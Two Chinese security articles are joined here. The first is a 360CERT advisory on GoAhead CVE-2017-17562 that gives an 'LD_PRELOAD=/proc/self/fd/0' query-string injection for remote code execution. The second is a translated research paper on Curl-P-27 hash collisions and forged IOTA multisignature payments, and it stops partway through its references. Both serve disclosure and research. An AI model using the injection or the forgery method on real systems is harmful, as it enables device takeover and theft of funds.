12月12日，MITRE披露一枚GoAhead的漏洞，编号为CVE-2017-17562，受影响的GoAhead，如果启用CGI动态链接，会有远程代码执行的危险。GoAhead广泛应用于嵌入式设备中。360CERT经过评估，确认该漏洞属于高危，建议用户尽快进行修复。
## 0x01 技术细节
定位到漏洞位置：cgi.c:cgiHandler()，其中envp分配一个数组，并由HTTP请求参数中的键值对进行填充，这个过程中只是对REMOTE_HOST和HTTP_AUTHORIZATION进行过滤，导致攻击者可以利用其他cgi进程的任意环境变量。
envp填充完成后，会通过launchCgi进行调用，进行启动cgi进程。
## 0x02 漏洞验证
上面也提到了，因为过滤不完善，恶意的envp被传入launchCgi进行执行，这时我们需要知道cgiPath（我们的payload路径）。这个问题不大，Linux
procfs文件系统，可以使用LD_PRELOAD=/proc/self/fd/0进行引用stdin，他将指向我们写入的临时文件。在HTTP请求时加入
_?LD_PRELOAD=/proc/self/fd/0_ 便可。
正常的效果如上图所示。但是有一个问题，攻击的时候我们需要指定一个cgi进程执行我们的LD_PRELOAD，这无疑提高了该漏洞的攻击成本。
## 0x03 影响范围
根据360CERT的QUAKE全网资产检索系统评估，全网有数百万设备运行着GoAhead服务，考虑到嵌入式设备更新的滞后性，受该漏洞影响的设备较广。
## 0x04 修补建议
360CERT建议使用GoAhead产品的用户，检查当前应用版本，如果是易受攻击版本，请尽快更新相关补丁。
## 0x05 时间线
2017年12月12日 漏洞披露
2017年12月18日 360CERT进行跟进分析
2017年12月19日 360CERT发布预警
## 0x06 参考链接
[https://www.elttam.com.au/blog/goahead/?t=1&cn=ZmxleGlibGVfcmVjcw%3D%3D&refsrc=email&iid=00814eaead1646519e0079bc88160394&uid=854872895356411904&nid=244](https://www.elttam.com.au/blog/goahead/?t=1&cn=ZmxleGlibGVfcmVjcw%3D%3D&refsrc=email&iid=00814eaead1646519e0079bc88160394&uid=854872895356411904&nid=244)
<https://security-tracker.debian.org/tracker/CVE-2017-17562>
<https://vulners.com/exploitdb/EDB-ID:43360> | 社区文章 |
**作者：Ethan Heilman, Neha Narula, Garrett Tanzer, James Lovejoy, Michael
Colavita, Madars Virza, and Tadge Dryja**
**原文：[Cryptanalysis of Curl-P and Other Attacks on the IOTA
Cryptocurrency](https://www.semanticscholar.org/paper/Cryptanalysis-of-Curl-P-and-Other-Attacks-on-the-Heilman-Narula/f402d8bed20deb03d1ab8c99c3f81deaf59a4a70 "Cryptanalysis of Curl-P and
Other Attacks on the IOTA Cryptocurrency")**
**译者：知道创宇404实验室**
### 摘要
本文介绍了使用伪造签名攻击IOTA区块链的方法。加密哈希函数Curl-P-27中存在一些弱点，允许攻击者快速生成可碰撞的短消息，并且这个方法也适用于相同长度的消息，利用这些弱点我们实现了对加密哈希函数Curl-P-27的攻击，破解了前IOTA签名方案（ISS）的EU-CMA。本文最后我们将介绍如何在消息已经被签署的情况下伪造有效支出的签名和多重签名（在IOTA中称为bundle）。
关键词：加密货币，签名伪造，加密哈希函数，密码分析
### 1 介绍
加密货币通过数字签名来鉴别用户的转账行为。为了提高性能，在许多签名方案中，用户签署的是消息的哈希值而不是消息本身。在此情况下，如果底层哈希函数受到了攻击，攻击者便可以在付款时伪造数字签名。
IOTA
的付款操作需要获得签名方案的授权。本文介绍了对该签名方案的攻击，这些攻击利用了哈希函数Curl-P-27的弱点。重要的是，我们在2017年8月披露并修补了此漏洞，由此保证了IOTA签名方案的安全性[20]。
IOTA是一种加密货币，被应用于物联网（IoT）和汽车生态系统。截至2018年7月24日，它以26亿美元的市值成为全球第九大最有价值的加密货币[9]。许多公司与
IOTA 有过合作，包括汽车制造商大众汽车公司和欧洲大型工业公司博世公司。 IOTA 曾发布公告称大众汽车计划在2019年初发布一款使用 IOTA
的产品[7]。 2017年底，博世购买了“大量 IOTA代币”[6]。此外，IOTA 基金会与台北市签署了一项协议，将 IOTA
用于其智能城市计划，其中包括数字市民卡项目[8]。
IOTA使用加密签名来授权用户付款。基于 Winternitz 一次性签名[25]，IOTA建立了自己的签名方案（ISS）。但与传统的 Winternitz
签名不同，IOTA 用户签署的是消息的哈希值。由此可见，ISS的安全性依赖于其加密哈希函数，即
Curl-P-27。通过常见的差分密码分析方法，我们可以使用Curl-P-27快速创建哈希值相同且长度相同的消息，从而打破了功能的碰撞阻力。我们做到了每次都能在一个上限值之内实现碰撞。
使用此碰撞攻击，我们可以在 IOTA
中伪造签名。我们从被签署的消息着手，为攻击者分别创建良性支付和恶意支付，并且使这两种支付具有相同的有效签名。我们的攻击适用于正常付款和多签名付款，并且只针对IOTA
签名方案，而没有包括整个 IOTA
网络。从多签名地址支出需要一个用户为另一个用户签名支付，这完全取决于如何设置被签署消息。我们详细介绍了如何攻击多签名地址支出，并提供了在单签名和多签名付款中生成碰撞的工具，并且评估了攻击的效率。在使用80个核的条件下，我们可以在不到20秒的时间内制造
IOTA 付款碰撞。
#### 1.1 漏洞状况和影响
2017年7月14日，我们与 IOTA 开发人员准备披露这个攻击，并且就修补漏洞的时间安排以及发布日期进行了协商。 2017年8月7日，IOTA
开发人员部署了一个向后兼容的升级，通过将 Curl-P-27 替换为另一个哈希函数来消除漏洞[32]。为了进行升级，Bitfinex
暂停了其存取款业务，时间接近三天 [4]。所有直接持有 IOTA（不通过交易所）的用户都被鼓励升级他们的钱包和地址。
2017年9月7日，我们发布了漏洞报告[20]，描述了此攻击的原理。
在报告中，我们给出了有效碰撞和签名伪造的示例以及验证他们的软件。在此基础上，本文详细分析了破解 Curl-P-27
抗碰撞性的方法，并介绍了开发伪造签名的软件的流程。我们还研发了应对多签名方案的技术——选择消息攻击特别适用于多签名方案。我们没有向 IOTA
发送任何伪造签名或以任何方式攻击 IOTA。由于 Curl-P-27 不再用于 ISS，本文提出的签名伪造不适用于当前的 IOTA，同样不适用的还包括
5.2 节提到的的多重签名攻击。 Curl-P-27 仍然用于 IOTA 的其他部分[14]，但我们不会对他们进行攻击。
### 2 相关工作
在我们发布了初始报告之后，Colavita和Tanzer [10]分别复现了我们的分析，并验证了Curl-P
的round函数，即这个函数通过排列的方法，根据特定的表达式进行舍入。他们二人也参与了本论文的撰写。
1991年，Biham 和 Shamir
[3]首次发布了差分密码分析技术（IBM的研究人员在1974年发现了类似技术但没有对外公布[11]）。在本篇论文中，我们通过平衡三元加密哈希函数实现了差分密码分析的一个简单应用。除了我们的漏洞报告[10]以外，还有其他研究对基于三元的加密伪随机序列发生器进行了设计分析[16]，但是没有研究过此函数的差分密码。
通过对 Curl-P-27 的加密分析，我们对 ISS 的不可伪造性进行了选择消息攻击。或许我们还看不出降低碰撞抵抗性和建立攻击模型有多大的作用，但 MD5
哈希函数的研究过程可以给我们答案。王小云在 2004 年首次实现了 MD5 哈希算法的碰撞[35]，并在随后发布了生成随机碰撞的通用程序[34]。
2005年，Lenstra 与王小云合作将这个加密漏洞应用于X.509 认证中。X.509 支持 HTTPS
等协议，并且能够构建成对的碰撞证书[24]，是公钥基础设施的基石。有人认为证书颁发机构不会签署此类可疑证书，而且由于 X.509
认证缺乏“有意义的”结构，它很有可能被滥用。2007 年, Stevens 加入 Lenstra 等人，将 MD5
的原始随机碰撞攻击扩展到选择前缀碰撞攻击[30]。2009年，Stevens 等人宣布他们已经成功伪造了一个 X.509
证书，其拥有的证书权限能够通过所有主流浏览器的验证 [31] ，导致供应商立即废弃 MD5。
之后，IOTA 开发人员替换了 IOTA 签名方案中的哈希函数， Curl-P-27变成了基于 Keccak 的
Kerl。2017年10月，他们发现了一个名为13攻击（也叫 M
攻击）的无关漏洞[23]。对于哈希值在[-13，13]区间内的消息，数字13的签名（又记作“M”）显示明文是私钥的衍生物，并可以被用于伪造所有的后续消息块，由此造成漏洞。为解决此问题，IOTA
基金会要求用户必须更改消息，直到摘要中没有
13。另一种补救措施是，开发人员将可能受到损害的资金转移到其他地址，用户之后可以通过向基金会提出申请，并收回其资金[27]。
### 3背景
在本节中，为了读者能更好地了解这个攻击，让我们首先简要回顾一下 IOTA 的一些不常见的设计特性和术语。我们还会对 Curl-P 哈希函数和IOTA
签名方案（ISS）进行概述。
#### 3.1 IOTA设计
IOTA 有一些特别之处。首先，IOTA 使用平衡三进制而不是二进制；第二，IOTA 的付款被称为bundle；第三，IOTA 使用一种称为 tangle
的新数据结构而不是传统的块链；第四，IOTA 聘请一个称为协调员的可信方来检查状态并批准付款。
IOTA 的数据结构使用平衡三进制而不是二进制，其中用于计数的符码为{-1，0，1}，一个三进制字节由三位符码组成，每个字节代表了 [-13,13]
的整数。 IOTA经常将三进制字节序列化为字母A-Z和数字9。
IOTA 内的付款方式用一种叫做 bundle 的数据结构来表示。Bundle 由多个交易组成，但 IOTA
交易与其他加密货币交易不同，它们是负责存储输入或输出的缓存，除此之外还有地址，签名，价值和标记等字段。在第 5 节中对这个攻击进行描述时，我们也会详细描述
IOTA 的 bundle 和交易格式。
IOTA 是基于 tangle 的概念建立的[26]，其类似于DAG链，其中每个块可以引用多个块父[29]。然而，在 IOTA
中，没有块可以汇总多笔付款。相反，每个交易必须有一个 nonce 以用于 PoW，还需要含有指向其他两个交易的指针。为了将交易添加到 tangle
中，用户从 tangle
中选择两个小费以在其交易中引用。一旦创建并且得到签名，用户就会有足够的工作证明，并将交易（或bundle的情况下的交易）广播到IOTA网络。
在目前部署的IOTA中，bundle只能在获得协调员的批准之后才可以被接收。协调员是由IOTA开发人员运营的可信方，检查和批准tangle的状态，并对tangle签名。人们担心IOTA是集成的，或者受到IOTA开发人员的控制
[33]。
IOTA开发人员称IOTA不是集成的，协调员是一种临时措施，且IOTA没有公开其源代码。由于我们没有与IOTA沟通，我们无法确定协调员将如何影响我们发起的攻击，但是据我们所知，协调员没有机制可以防止本文提到的攻击。
#### 3.2 IOTA的签名方案（ISS）
受到Winternitz一次性签名（W-OTS）的启发，IOTA使用了类似的签名方案[25]。 W-OTS对Lamport签名进行了优化
[22]，同时操作多位，不惜计算成本来缩短公钥长度。
ISS与W-OTS有很多不同。首先，与传统的W-OTS一样，ISS操作的是消息的哈希值，而不是像
W-OTS那样直接在消息上进行操作。其次，ISS没有使用校验和，而是对消息的哈希值进行规范化。
ISS有三个安全级别。安全级别1仅签署消息的哈希值的三分之一，安全级别1签署前三分之二，安全级别3签署整个哈希值。因为我们的攻击是针对最高安全级别的，所以它也应当适用于其他所有安全级别。因此，当下文涉及到ISS时，我们将默认其使用了安全级别3。
#### 3.3 Curl-P
在本节中，我们将描述Curl-P哈希函数。 Curl-P（有时称为Curl）是一种加密哈希函数，被用于设计IOTA。
它的用途包括创建交易地址、消息摘要，工作证明（PoW）和基于哈希的签名。 在高层次上，Curl-P遵循海绵结构模式[2,18]，但在一些关键位置上有变化。
由于IOTA项目尚未提供任何官方规范说明或分析，我们对Curl-P的开源部分进行说明。
与大多数加密哈希函数不同，Curl-P使用的是平衡三进制。为表达清楚，我们用小写字母表示单个三进制符码，例如a; b; c; x; y; z,
再用大写字母表示连续的三进制符码，如S; N; X; Y。使用下标符号表示一个序列中的单个字符，例如Si。遵循IOTA惯例，Curl-P-R中的R表示轮次（例如，Curl-P-27表示27轮Curl-P）。
Curl-P运行过程如图一所示：（1）Curl-P的初始化状态S是一个长度为729的全零三进制序列。 （2）消息被分成消息块mb0 · · ·
mbn，每块长度为243。 Curl-P不使用消息填充，如果一条消息的长度不是243的倍数，允许最后一个消息块小于243。4（3）每个消息块mb0 · ·
· mbn依次被复制到状态S的前三分之一，并由函数f r进行转换。 （4）当没有消息块之后，Curl-P返回最终状态的前三分之一。有关更详细的描述，请参阅算法1。
现在来看负责转换状态S的函数fr 。转换函数fr 就是将f函数递归调用r次，例如f 3(S) = f (f (f (S)))。
Curl-P-27就是Curl-P哈希函数，其变换函数是f27。
调用一次fr 就能获得S的新状态。 如算法2中所述，初始状态中的每相邻两位符码通过简单函数g的转换，变成新状态中的一位数字。
当前状态中的每一位都会被使用两次，一次作为g的第一个参数（由a表示），一次作为g的第二个参数（由b表示）。 在表1中，我们给出g作为替换表（s-box）。
### 4 Curl-P的密码分析
在本节中，我们应用常见的差分密码分析法来构造完全碰撞。我们构造两条相同长度的消息，设置他们只有一个符码不同，而且他们通过 Curl-P-27
会映射到相同的值。我们可以控制碰撞消息的内容，包括任意消息前缀和后缀。在下一节中，我们将利用他们来伪造有效IOTA支付的签名。
除了IOTA开源项目发布的一部分源代码，我们无法找到 Curl-P 或 Curl-P-27 的正式规范文档。此外，IOTA开发人员表示，Curl-P-27
旨在对特定的输入组[5]进行碰撞。事实上，Curl-P-27 是非随机的。正如[10]中详细探讨的那样，可以在相同长度的消息中观察到 Curl-P-27
的非随机行为；碰撞和第二个预成像对于生成不同长度的消息是微不足道的。因此，为了确保我们真正破解了 Curl-P-27，我们表明我们的碰撞攻击破坏了
Curl-P-27 的安全属性（参见第5节）。
在高层次上，我们的攻击工作如下所示。我们选择两条长度至少为三个消息块的消息，并且他们只有一位符码不同。为了降低困难，我们使这两条消息满足某些约束方程（在第
4.2
节中详细说明）。一旦我们进入包含不同符码的消息块，我们就需要确保会发生碰撞。为此，我们在两个消息中随机翻转一组三进制数，并且每组不能超出其所在的消息块。我们的思路是对两条消息做变换处理，并且使不同的那一位在转换完成后处于结果状态的前三分之一的位置。
f 27(S)[243,729] = f27(S‘)[243,729]
因为Curl-P用下一个消息块替换了S的前三分之一，这导致原本的差异被覆盖，造成完全碰撞。我们利用Curl-P-27的不同特性多次强制转换函数，这样的话，在最后一轮时这些差异可能还保持在状态的前三分之一。经过多轮转换之后还保持着一位差异，找到这样的两条消息需要调用Curl-P-27次数的上限是760
万次或 22287次。
在图2中，我们可以看到在Curl-P-27中，不同的轮数会导致不同的结果。我们用颜色代表发生碰撞的可能性，x轴表示差异点的位置，y轴表示在该轮数内差异没有扩散。我们对每个位置和深度执行100个样本（总共11
243 100 = 267300个样本），每个样品随机初始化，差异点的内容设置也是随机的。更多数学分析请参阅[10]中的复现。
我们设置差异符码出现在第 17
位。根据实验结果，知道了轮次和差异点的位置，我们可以计算碰撞的概率。在此条件下递归20次后，碰撞的概率是1.0。因此，只要我们保证差异不会扩散，我们就可以制造碰撞。这种攻击应该同样适用于输入的消息块中的其他位置（如[10]所示）。请注意，这是确保发生碰撞的上限，因为递归次数少于20次时也可能发生碰撞。
#### 4.1 Curl-P变换函数f r的不同性质
在本节中，我们将展示如何找到目标状态，将差异保持至少20轮。这需要我们分析Curl-P变换函数f的不同性质。
差分密码分析涉及研究两组及两组以上的输入之间的差异传播模式。最常见的技术是寻找差异轨迹。差异轨迹是一组概率偏差，表示一组差异如何通过多轮加密函数传播到另一组差异。这里我们只使用特定的差异轨迹，即在转换函数f的重复应用下,两个状态S，S‘之间的某一位的差异。我们证明了
Curl-P 强烈偏向于保持一轮的单符码差异（即f的应用）。
首先介绍其中涉及的术语。由于Curl-P使用三进制符码∈{?1,0,1}，我们必须使用新的三元符号表示法。为了表示两个符码 x 和 x'
之间的差异，我们使用Θ ( 0Θ ?1 代表 x = 0 ，x’ = ?1 或者 x = ?1 ， x‘ =
0)。通过术语扩散，我们指出在调用f之后，两个状态之间的差异的数量已经增加（即，差异已被使用）。
我们的攻击是围绕着一个事实，即s-box g不会一直传播差异。例如，考虑g的两组输入和输出：g: a,b,c and a‘, b’, c‘ such
that g( a, b ) = c and g( a', b' ) = c'。我们做出以下观察：
1.对于所有可能的值，如果 a ≠ a' 且 b = b'，那么 c ≠ c' 。
2.如果a = a' 且 b ≠ b'，则可能有 c = c' 或 c≠c'（例如，a = a'= 1，b = 0且b' = 1，则c = c' = 0）。
每调用一次 f 就是更新一次状态。如3.3节所述，g
中每两位符码经过转换以后变成新状态中的一位符码。先前状态的每一位最多被转换两次：一次作为第一个变量a，一次作为第二个变量b。这意味着单位符码差异将延续到下一轮，因为当它是s-box
g的第一个变量a时，g的输出将与a不同（如图1所示）。因此，如果将f应用于两个状态S，S'，更新后的状态f（S），f（S'）将始终有一位或两位的不同，不会出现无符码差异。
我们模拟了状态在k轮Curl-P后保持单位符码差异的概率。 如图3所示，此马尔可夫模型列举出了所有可能的输入与其转换后的结果。 例如，如果当前的差异为
0Θ1，那么它有 1/9 的概率在下一轮中保持不变（即0 1），2/9 的概率变为 -1Θ0，或者有 6/9
的概率使差异个数从1增加到2（标记为失败状态，因为它未能保持单符码差异）。
顶行表示 0Θ1 的转换到各个结果的概率，第二行是 -1Θ0，第三行 -1Θ1，第四行是差异由一位变为两位。使用这个矩阵，我们计算了在调用 k 次 f
之后差异保持一位的概率的下界，因为我们没有计算差异位数超过 1 位之后再变回1位的情况，所以这是一个下限。
因此，从 0Θ1 开始，通过将矩阵提高到我们希望的轮数并计算概率。例如我们将矩阵幂 3 次，那么得到的矩阵中的数字就是符码在转换 3
次以后变成对应新符码的概率。因此，我们可以测量k轮后也不失败的概率。
之前，我们通过实验验证了，如果经过 20 轮
Curl-P-27（即调用20次f）转换仍保持单符码差异，那么碰撞的概率是1.0。使用我们的状态转移矩阵，我们计算20轮，我们的攻击有一个每个查询成功概率下限为
2-42。也就是说，我们需要尝试242次才有可能找到将差异保持到20轮以后的消息对，这样的消息对可以产生碰撞。在下一节中，我们将展示如何显着减少对
Curl-P-27 的必要查询次数。
4.2差分求解
在本节中，我们将展示如何通过选择具有特定属性的消息来减少 Curl-P-27 的查询次数。我们首先展示如何约束有一位差异符码的状态 S 和
S‘，使得他们需要至少9次递归才能保持一位的差异（即差异没有扩散）。为此，我们将f表示为方程组，并求解状态S和S’中的特定值。
我们可以将变换函数f r(S) 表示为一系列方程。例如，调用一次 f 可以写为
f (S)0 = g(S0,S364),f (S)1 = g(S364,S728),...,f (S)728 = g(S365,S0)
其中f
(S)0是调用f后获得的新状态的第0位的数字。由于每一轮只是f的递归应用，我们可以根据状态S的初始值在f轮后写出特定位的值。我们使用上标来表示轮次。例如，用
f 2(S)6 = g(g(S366,S1),g(S184,S548))
表示在位置6进行两次递归运算。
使用这种表示，我们找到可以使得 0Θ1 的差异保持9轮的方程。然后我们找到满足这些方程的消息前缀。
目前，我们可以在一秒之内查找到此消息前缀（有关我们的性能评估，请参见第 5.3 节）。
另外，给定一个特定的消息模板，我们只需要在两个消息块中更改一小组三进制位，便可以将其转换为令人满意的消息。
#### 4.3 寻找碰撞
攻击需要至少3个信息块：mba, mbb, 和
mbc。其中mbb含有一个差异符码。mba前面的消息块数量没有限制，mba和mbb之间也没有，mbc总是跟在mbb之后并且重写mbb在前三分之一制造的差异。mbc的取值不会对攻击造成影响，可以取任意值。
完整的攻击过程如下。首先，在我们攻击的约束阶段，我们通过调整mba和mbb来找到合适的消息前缀，这样它们可以保证 9 轮的单位符码差异。
接下来，在蛮力阶段，我们在mbb中的特定位置随机改变符码，目的是找到两个消息，使得从位置 17 开始的差异保持 20 轮。
由于约束阶段确保蛮力阶段的每次尝试在 9 轮中保持单符码差异不同，因此蛮力阶段的攻击复杂性从 20 轮减少到 11 轮。
结果，每个查询的成功率的下限减少到大约2 -22.87或 760 万分之一。
正如差分密码所分析的，我们的概率计算简化了假设，即输入值是均匀随机的。考虑到 Curl-P-27 的低扩散率和Curl-P
的非随机性，这种假设可能不会总是成立。 但是，如第 5.3 节所示，本节给出的界限与实际结果相当接近。
### 5 利用Curl-P中的碰撞来伪造签名
本节中，我们将使用Curl-P-27碰撞对IOTA签名方案（ISS）执行签名伪造攻击。结合上一节的内容，我们将展示如何创建两个有效的IOTA
bundle（即支付），这两个bundle最多只有两位不同，并且他们具有相同的Curl-P-27哈希值。然后，我们将描述攻击的设置，利用这些碰撞的
bundle 来伪造签名。最后，我们将展示如何攻击ISS多重签名。
#### 5.1 对ISS的选择消息攻击
我们的攻击是一种选择消息攻击，恶意用户 Eve
欺骗用户Alice，先是要求Alice签署b1，然后根据b1生成相应的b2，这个b2也能通过验证。具体过程如下：
1. Alice生成密钥对（PK, SK）。
2. Eve通过碰撞攻击产生两个bundle b1，b2，并使得 b1 ≠ b2 且 CurlHash（b1）= CurlHash（b2）。
3. Eve将b1发送给Alice并要求Alice签名。Alice检查b1，确认它是安全的。
4. Alice在夏娃上给b1签名，即Sign（SK, b1）→ σ。
5. Eve产生一个bundle对（σ，b2），使得 b1≠b2，b2是一个有效的 bundle，就算 Alice从未见过b2，b2也能够通过Alice的公钥验证。
在4.3节中，我们介绍了攻击的一般格式，它至少需要三个消息块 mba，mbb和mbc。 为了执行攻击的第一阶段，我们将 mba 和 mbb
中的某些特性设置为特定值。 在暴力阶段，我们每次尝试更改 mbb 中的其他符码并检查我们是否已经实现了碰撞。 但是，bundle必须通过 IOTA
软件中的有效性检查才能被 IOTA 视作有效bundle，这限制了我们可以修改的位数。
要想计算 bundle
的哈希，需要对每个交易的地址，值，标记，时间戳，当前字节和最后字节的串联结果计算哈希值。交易的格式如图4所示。大多数字段的格式都有严格的规范格式。例如，bundle
中值的求和结果不能为负，时间戳必须在一定范围内，并且索引必须与 bundle 中的交易对齐。标签不会影响 bundle
的语义或有效性，并且可以包含任意的符码。因此，对于约束阶段和暴力阶段中的每次尝试，我们只更改 tag 中的符码。
另一个重要的问题是要在哪里生成碰撞。在最初的漏洞报告中，我们展示了两种不同攻击方式的碰撞 bundle：一种将碰撞置于地址范围内，使得 Alice
无意中签署了一项交易，该交易将取走 Eve 的资金，Eve 可以声明 Alice 犯了一个错误。第二次将两个碰撞放在一个 bundle 中的两个地方，导致
Alice 无意中签署了一个交易，该交易比预期更多地支付 Eve。在下一节中，我们将详细描述需要多个签名的 bundle
的后一种攻击方式，这些签名是我们选择的消息设置。
#### 5.2 多重签名攻击
我们在漏洞报告[20]中伪造的攻击是选择消息攻击，也就是说，Eve必须要求Alice签署bundle。为了证明保障被签署消息的安全性有多么重要，我们现在将攻击扩展到
IOTA
多重签名方案[28]。在多重签名中，只有在多方签名以后才可以支出资金。为了达到这个目的，一方创建一个bundle并要求另一方签名，这便是选择消息攻击。
IOTA基金会鼓励部署热存储/冷藏解决方案5，以达到使用多重签名来安全存储资金[12]的目的。多重签名迫使攻击者必须使多方妥协，这是它被使用在加密货币环境中的一个主要原因。我们的攻击恰好消除了多重签名的这种安全优势。我们将考虑一个2-of-2
的简单案例，其中两方都签署了花费资金。这个攻击还会推广到更复杂的设置。
考虑 Eve 和 Alice 各持一对 ISS 密钥：（PKE，
SKE）和（PKA，SKA），只有Eve的密钥签名和Alice的密钥签名同时存在才能取出资金。这意味着Eve和Alice之前已经进入了 2-of-2
的多重签名，并且现在正共同使用这笔资金。我们的攻击将做如下工作：Eve将计算两个相互碰撞的bundle，一个向Alice支付资金，另一个向Eve支付资金。
Eve将签署并发送bundle给Alice，这个bundle负责向Alice支付资金。一旦Eve拥有 Alice
的签名，她就会在创建一个Alice从未见过或未授权的有效bundle，并且广播这个bundle.6。在此设置中，Eve要么是恶意的，要么已被恶意方攻击。
为了构造这样的bundle，Eve将碰撞置于某个碰撞的某个value字段。图5显示了bundle的前四个消息块。突出显示的字段与攻击相关。通过在碰撞前后操纵标记字段中的特征，Eve导致第二交易（消息块3）中的value字段的第17位发生碰撞。这样，Eve可以在第二个交易中生成两个不同的bundle，这些值具有相同的哈希值。
Eve随后在第四个交易（消息块7）中生成了第二个碰撞，这次使两个bundle的值仍然总和为零。这用于设置向谁支付多少金额。
为了生成这些碰撞，一般需要我们按顺序进行两次攻击。在我们当前的碰撞工具中，我们在两个交易之间还需要一个交易。满足了这个要求，以及冲突不在第一个或最后一个交易中的要求，我们就可以处理具有不同数量的交易的bundle。我们的工具只能在消息块的第17位中产生碰撞，不过这是工具的限制，而不是因为第
4 节中的密码分析有误。我们的工具在生成碰撞时不依赖于交易中特定的地址和值，但是必须保证对应位的符码不同才能产生有效的bundle。例如，如果在 b1 中
Alice 和 Eve 的输出值的 17 位为零，那么在b2中将Eve的输出值的17位变为1会导致b2的总和不为0。在 b1 中，Alice 的输出值的第
17 位应为1，Eve的应为零。
在附录B中，我们展示了使用此技术创建的两个示例bundle。其中bundle为支出500,000,000
IOTA货币，由Alice和Eve控制。Alice丽丝签了一个bundle，它支付Eve 1
IOTA，其余的支付给其他地址。在碰撞的bundle中，Eve收到 129,140,164 IOTA货币，支出地址为Alice的地址。
碰撞单签名bundle的生成方式与此类似。我们在漏洞报告中伪造了bundle的签名，其向三个地址进行支付。在良性bundle
b1中，Alice在她控制的两个地址收到 50,000 和 810,021,667 IOTA 货币并向Eve支付100 IOTA货币。在恶意bundle
b2 中， Eve进行了调整并且收到了 129,140,263
IOTA货币，这些是Alice的钱。我们还没有研究在value和address字段之外制造碰撞会带来哪些影响，可能会生成其他攻击。
#### 5.3 性能分析
我们在 64 位Linux 4.9.74 环境下，使用一台配备了 8 个 2.4GHz 10 核 Intel 芯片和 256 GB RAM 的 Intel
机器运行此攻击。 我们的攻击占用了全部的 CPU，但占用的 RAM 空间可以忽略不计。 如第 4.3
节所述，碰撞包括两个阶段：约束阶段计算约束集，而暴力阶段在 tag 中产生随机数以产生碰撞。
约束阶段生成并求解十八个等式，前九轮 Curl-P-27 中的每一个都有两个。 约束阶段在 Python 中实现，并且是单核运行。
我们没有尝试优化第一阶段。 表2 显示了取第 17 位不同并且在第一阶段运行 5000 次后所需要的平均，最小和最大时间。
表2 还显示了强力阶段的测试结果。该阶段使用第一阶段的符码和模板来强制生成碰撞。因为这在 Go 中执行并且并行，因此我们需要使用服务器的所有 80 个核。
使用第一阶段的输出生成碰撞平均只需7.2秒。 一次碰撞平均需要测试 520 万次，最小和最大尝试次数分别超过 5000 次 1279 和 53M。
这证实了我们在4.3节中的分析。
为了实现第 5.2 节中描述的多重攻击，我们必须顺序地运行约束和强制阶段，以生成两次碰撞。 我们的碰撞工具平均 15.2
秒就可以生成两个多重签名的bundle。 表2 显示了各阶段运行5000次所对应的平均时间以及最小和最大时间。
### 6 讨论
IOTA开发人员对漏洞的产生原因及其影响有过多次声明，我们对其进行了总结，并对部分问题作出了回应。
IOTA开发人员认为我们的攻击模型与IOTA网络环境没有联系：具体来说就是，我们无法设置被签署过的消息，因为“在IOTA中，攻击者不会选择签名过的消息“[5]。为了应对这个问题，我们将攻击扩展到多重签名地址，因为多重签名协议明确允许一个用户选择另一个用户签名的消息。
IOTA的开发人员还认为，”即使是大多数有效的攻击“都会在IOTA网络中失败，因为在闭源协调员中存在”保护机制”
[5,13]。漏洞报告和本文中提出的攻击只单纯考虑如何应对IOTA签名方案，未在完整的IOTA系统的环境中分析这些攻击。
此外，他们声称 Curl-P-27 可以接受碰撞输入是他们有意为之，其目的是防止克隆欺诈。其原话是：“IOTA 团队故意引入 Curl-P
哈希函数，以此预防[克隆欺诈]，这还使得克隆欺诈无法用于 DLT 协议，同时保证了整个 IOTA 协议和网络的安全。”他们认为
“协调员会保护IOTA网络，不受故意引入的影响，并且称之为“复制保护机制”[13]。这么看来，我们除了发现一个新型攻击，似乎还发现了一个故意放置的后门。
### 7 结论
本文介绍了如何通过伪造消息签名来攻击IOTA签名方案。我们在两条消息只有一位字符不同的情况下构造了全状态碰撞。并且运用这个方法创建了两个有效的IOTA
bundle，这样，就算两个bundle互不相同也仍然会映射到相同的值，也就是同一个签名将适用于两个bundle。
作为示例，我们在bundle中设置了不同的符码，攻击者可以在几十秒内使用简单的设备生成符合要求的bundle。
### 8 致谢
在此我们对 Andy Sellars, Weijia Gu, Rachael Walker, Joi Ito, Vincenzo Iozzo, Sharon
Goldberg, and Ward Heilman 致以感谢，感谢你们对此论文的指导与建议。
### 9 References
[1] Mihir Bellare and Phillip Rogaway. “The exact security of digital
signaturesHow to sign with RSA and Rabin”. In: International Conference on the
Theory and Applications of Cryptographic Techniques. Springer. 1996, pp. 399–
416.
[2] Guido Bertoni et al. “On the indifferentiability of the sponge
construction”. In: Lecture Notes in Computer Science 4965 (2008), pp. 181–197.
[3] Eli Biham and Adi Shamir. “Differential cryptanalysis of DES-like
cryptosystems”. In: Journal of CRYPTOLOGY 4.1 (1991), pp. 3–72.
[4] Bitfinex. IOTA Protocol Upgrade August 08, 2017.
<https://www.bitfinex.com/posts/215>, archived at
<https://web.archive.org/web/20180722235151/>
<https://www.bitfinex.com/posts/215>.
[5] Tangle blog. Full Emails of Ethan Heilman and the Digital Currency
Initiative with the IOTA Team Leaked.
<http://www.tangleblog.com/wpcontent/uploads/2018/02/letters.pdf>, archived at
<https://web.
archive.org/web/20180228182122/http://www.tangleblog.com/wpcontent/uploads/2018/02/letters.pdf,
https://archive.is/6imWR>.
[6] Bosch. Press release: Robert Bosch Venture Capital makes first investment
in distributed ledger technology. <https://www.bosch-presse.de/pressportal/de/en/robert-bosch-venture-capital-makesfirst-investment-in-distributed-ledger-technology-137411.html>, archived at
<https://web.archive.org/web/20180724022550/> <https://www.bosch-presse.de/pressportal/de/en/robert-boschventure-capital-makes-first-investment-in-distributed-ledgertechnology-137411.html>.
[7] Crypt Briefing. First VW IOTA Product Will Be Released Early Next Year.
<https://cryptobriefing.com/vw-iota-product-released/>, archived at
<https://web.archive.org/web/20180724021409/https: //cryptobriefing.com/vw-iota-product-released/>.
[8] Coindesk. City of Taipei Confirms It’s Testing IOTA Tech for ID.
<https://www.coindesk.com/city-of-taipei-confirms-its-testing-iotablockchain-for-id/>.
[9] CoinmarketCap. CoinmarketCap IOTA July 23 2018. <https://coinmarketcap>.
com/currencies/iota/, archived at [https://web.archive.org/web/
20180724020019/](https://coinmarketcap "https://web.archive.org/web/
20180724020019/")<https://coinmarketcap.com/currencies/iota/>.
[10] Michael Colavita and Garrett Tanzer. “A Cryptanalysis of IOTA’s Curl Hash
Function”. In: (2018).
[11] Don Coppersmith. “The Data Encryption Standard (DES) and its strength
against attacks”. In: IBM journal of research and development 38.3 (1994), pp.
243–250.
[12] IOTA Foundation. IOTA Guide – Generating Secure Multisig Addresses (hot
